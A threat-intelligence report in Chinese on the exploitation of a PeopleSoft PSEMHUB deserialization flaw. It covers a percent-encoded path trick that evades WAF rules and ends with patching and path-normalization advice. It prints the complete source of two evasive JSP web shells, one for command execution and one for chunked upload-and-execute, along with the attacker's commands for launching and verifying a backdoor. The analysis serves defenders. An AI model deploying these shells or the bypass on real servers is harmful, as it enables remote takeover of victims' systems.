WAF 規則寫了卻沒用?
1. 簡介
CVE-2026-35273 是 Oracle PeopleSoft Environment Management Hub (PSEMHUB) servlet 中的一個認證前 Java
反序列化漏洞
。一個追蹤代號為 UNC6240 的 Threat actor cluster 於 2026 年 5 至 6 月間首度將該漏洞作為
零日漏洞攻擊
,並在 2026 年 9 月恢復大規模攻擊,此時許多操作者已針對字面 path
/PSEMHUB/
部署了字串比對式的 web application firewall (WAF) 規則卻未套用底層的修補程式。這份報告分析 bypass 機制、攻擊生命週期,以及主要來源中所揭露的 JSP 工具,並將該技術置於 parser-differential WAF evasion 的更廣泛分類之中。
2. Percent-Encoding Bypass
核心缺陷在於 WAF 與來源伺服器之間的解析不一致。Threat actor 透過對請求路徑中的單一字元進行 URL 編碼,以 /%50SEMHUB/ 取代 /PSEMHUB/,藉此繞過字串比對式的 WAF 規則,因為許多 WAF 與反向代理規則是在 URL 解碼前比對字面路徑,而
PeopleSoft 應用伺服器
則會解碼該請求並將其導向至存在漏洞的 servlet。
%50
只是 ASCII 字元
P
的 percent-encoding 形式;WebLogic 的請求路由器在分派前會先正規化路徑,因此解碼後的請求仍會到達
PSEMHUB
,但 WAF 的 pattern 永遠不會比對到編碼後的字面內容。這是教科書等級的 parser-differential evasion:偵測點與強制執行點對於「同一個」請求該長什麼樣子看法不一致,這是一類已被廣泛記錄的 bypass,在通用 evasion 工具組中還有其他 percent-、double- 與 Unicode-encoding 變體
[2]
[3]
。
在攻擊之前會先進行目標驗證。受針對的伺服器通常會收到五到十五個送往 /%50SEMHUB/hub 的 POST 請求,其中包含序列化的 Java 物件,而未修補的伺服器會回應該主機作業系統資訊,且不會寫入檔案或中斷服務,讓該攻擊者得以安靜地確認可攻擊性。下方的序列圖根據主要來源重建了此生命週期。
圖 1 — WAF-bypass 與攻擊序列。
3. 後滲透 Web Shell
為了建立持續存取並準備後續 payload,該 threat actor 攻擊者在
PSEMHUB.war
目錄中部署了兩個互補的單行 JSP web shell, 兩者皆設計用於在後滲透階段降低 WAF 偵測。
3.1 x.jsp — hex 編碼的指令執行。 x.jsp 不是在 URL query string 中傳遞明文指令,而是透過 HTTP POST 接收 hex 編碼的指令,以及一個 optional execution timeout;它會自動偵測底層作業系統,在 Windows 上啟動 cmd.exe,或在 Linux 上從 ASCII 字元陣列重建 /bin/sh 以避開靜態字串特徵,並回傳加上 R: 前綴的 process 輸出。
<%@ page import="java.util.*,java.io.*" %> <% String h = request.getParameter("c"); // "c": hex-encoded command string String ts = request.getParameter("t"); // "t": optional timeout in seconds if (h != null) { int t = ts != null ? Integer.parseInt(ts) : 30; // default 30s execution window StringBuilder cs = new StringBuilder(); for (int i = 0; i + 1 < h.length(); i += 2) { cs.append((char) Integer.parseInt(h.substring(i, i + 2), 16)); // decode 2 hex chars -> 1 byte } String c = cs.toString(); // reconstructed plaintext command boolean wn = System.getProperty("os.name").toLowerCase().contains("win"); // OS fingerprint Process p = new ProcessBuilder( wn ? new String[]{"cmd.exe", "/c", c} // Windows shell invocation : new String[]{new String(new char[]{47,98,105,110,47,115,104}), "-c", c} // char array spells "/bin/sh" to dodge literal-string WAF/AV signatures ).start(); InputStream a = p.getInputStream(); // stdout stream InputStream g = p.getErrorStream(); // stderr stream byte[] b = new byte[8192]; int n; StringBuilder sb = new StringBuilder(); long end = System.currentTimeMillis() + t * 1000L; // deadline for polling loop while (System.currentTimeMillis() < end) { if (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); } else if (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); } else { try { p.exitValue(); break; } // process finished early, stop polling catch (IllegalThreadStateException e2) { try { Thread.sleep(40); } catch (Exception e3) {} // still running, back off } } } while (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); } // drain stdout while (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); } // drain stderr out.print("R:" + sb.toString()); // return output prefixed for parsing } %>
圖 2 — x.jsp 跨平台指令執行 shell。
3.2 u.jsp — chunked file 上傳與執行。 這個 shell 會解碼 Base64 編碼的檔案 chunk,並以 150 KB 為單位寫入或附加至目標 path,藉此繞過 HTTP 請求大小限制並避開 PeopleSoft 原生的 FILECHUNKING 處理常式,同時還包含一個次要參數,用於在檔案重組完成後執行 cmd.exe 指令。
<%@ page import="java.util.*,java.io.*,java.nio.file.*" %> <% String n = request.getParameter("n"); // "n": destination file path String a = request.getParameter("a"); // "a": base64-encoded chunk payload String m = request.getParameter("m"); // "m": mode flag, "a" = append if (n != null && a != null) { try { byte[] b = java.util.Base64.getDecoder().decode(a); // decode this chunk if ("a".equals(m)) { java.io.FileOutputStream f = new java.io.FileOutputStream(n, true); // append mode f.write(b); f.close(); } else { java.nio.file.Files.write(java.nio.file.Paths.get(n), b); // overwrite / first write } out.print("W:" + b.length); // acknowledge bytes written } catch (Exception e) { out.print("E:" + e); // report write error } } String x = request.getParameter("x"); // "x": optional command to run post-upload if (x != null) { try { ProcessBuilder pb = new ProcessBuilder(new String[]{"cmd.exe", "/c", x}); pb.redirectErrorStream(true); // merge stderr into stdout Process p = pb.start(); java.io.InputStream i = p.getInputStream(); byte[] buf = new byte[8192]; int k; StringBuilder sb = new StringBuilder(); long end = System.currentTimeMillis() + 12000; // fixed 12s execution window while (System.currentTimeMillis() < end) { if (i.available() > 0) { k = i.read(buf); if (k > 0) sb.append(new String(buf, 0, k)); } else { try { p.exitValue(); break; } catch (Exception e2) { Thread.sleep(30); } } } out.print("R:" + sb.toString()); } catch (Exception e) { out.print("X:" + e); } } %>
圖 3 — u.jsp chunked file 上傳與執行 shell。
3.3 操作者驗證指令。
在投放
Ple64.exe
(追蹤代號為 SIDEEYE,一個透過 u.jsp 投放、以 VMProtect 包裝的三階段後門)之後,該 actor 確認了投放與執行成功:
dir applications\peoplesoft\PSEMHUB.war\Ple64.exe REM confirm file exists for %F in (applications\peoplesoft\PSEMHUB.war\Ple64.exe) do @echo %~zF REM check file size cmd.exe /c start /b "" applications\peoplesoft\PSEMHUB.war\Ple64.exe REM launch as background process tasklist | findstr /i Ple64 REM verify process is running
圖 4 — 上傳後驗證序列。
3.4 Shell 呼叫範例。 一旦 shell 上線,用於一般探索指令時仍會繼續使用繞過 WAF 的 path 格式:
GET /%50SEMHUB/<webshell>.jsp?c=id;hostname;uname+-a HTTP/1.1
圖 5 — 透過 percent-encoded path 發出的探索指令。
4. 工具設計特性
兩個 shell 共用三項以 evasion 為導向的設計選擇。第一,payload 的傳輸採用 hex 或 Base64 編碼,而非以明文 shell 語法傳遞,讓關鍵字比對式的 WAF 規則沒有字面指令字串可比對——這與 WAF-evasion 框架中已被記錄的通用「
keyword manipulation
」編碼層背後是同一項原則
[2]
。第二,
x.jsp
在執行時從字元陣列建立字面字串
/bin/sh
,而非將其內嵌為常數,藉此擊敗那些在 JSP 檔案中 grep shell 呼叫字串的靜態特徵掃描器。第三,
u.jsp
以 150 KB 為單位 chunk 上傳,讓每個請求都低於常見的 body 大小檢查門檻,同時也避開應用程式自身的 chunk 上傳處理常式,因此原本為合法大檔案傳輸設計的防禦邏輯,永遠不會觀察到攻擊者的傳輸。
5. 修補意涵
Percent-encoding bypass 顯示,以 path 為基礎的 WAF 封鎖並不等同於修補:組織應套用 Oracle Security Alert 修補程式 ,因為 WAF 規則與以 path 為基礎的封鎖不能取代修補。防守方另外應在規則評估前先將請求 path 正規化,而不是比對字面字串,因為 防守方應假設 threat actor 可能使用 /PSEMHUB/ 的任何 percent-encoded、混合大小寫或其他未正規化的變體,並應對正規化後的 path 強制封鎖。這與針對通用 WAF bypass 分類的既有指引一致:單一、雙重與 Unicode 編碼變體都必須在特徵比對前解碼為標準形式 [2] [3] 。
6. 結論
2026 年 9 月的 PeopleSoft 行動 是一個清楚的案例研究,展示了如何適應已公布的防禦指引:UNC6240 並沒有找到新的漏洞,而是利用強制執行層與解析層之間的解碼不一致,讓一個早已為人所知的漏洞重獲存取。伴隨的 JSP 工具——hex/Base64 payload 編碼、動態字串建構,以及 chunk 傳輸——說明了即使是極精簡的單檔 web shell,也能被特意設計成在初始存取向量本身已被充分記錄之後,仍能通過 WAF 與靜態特徵檢查。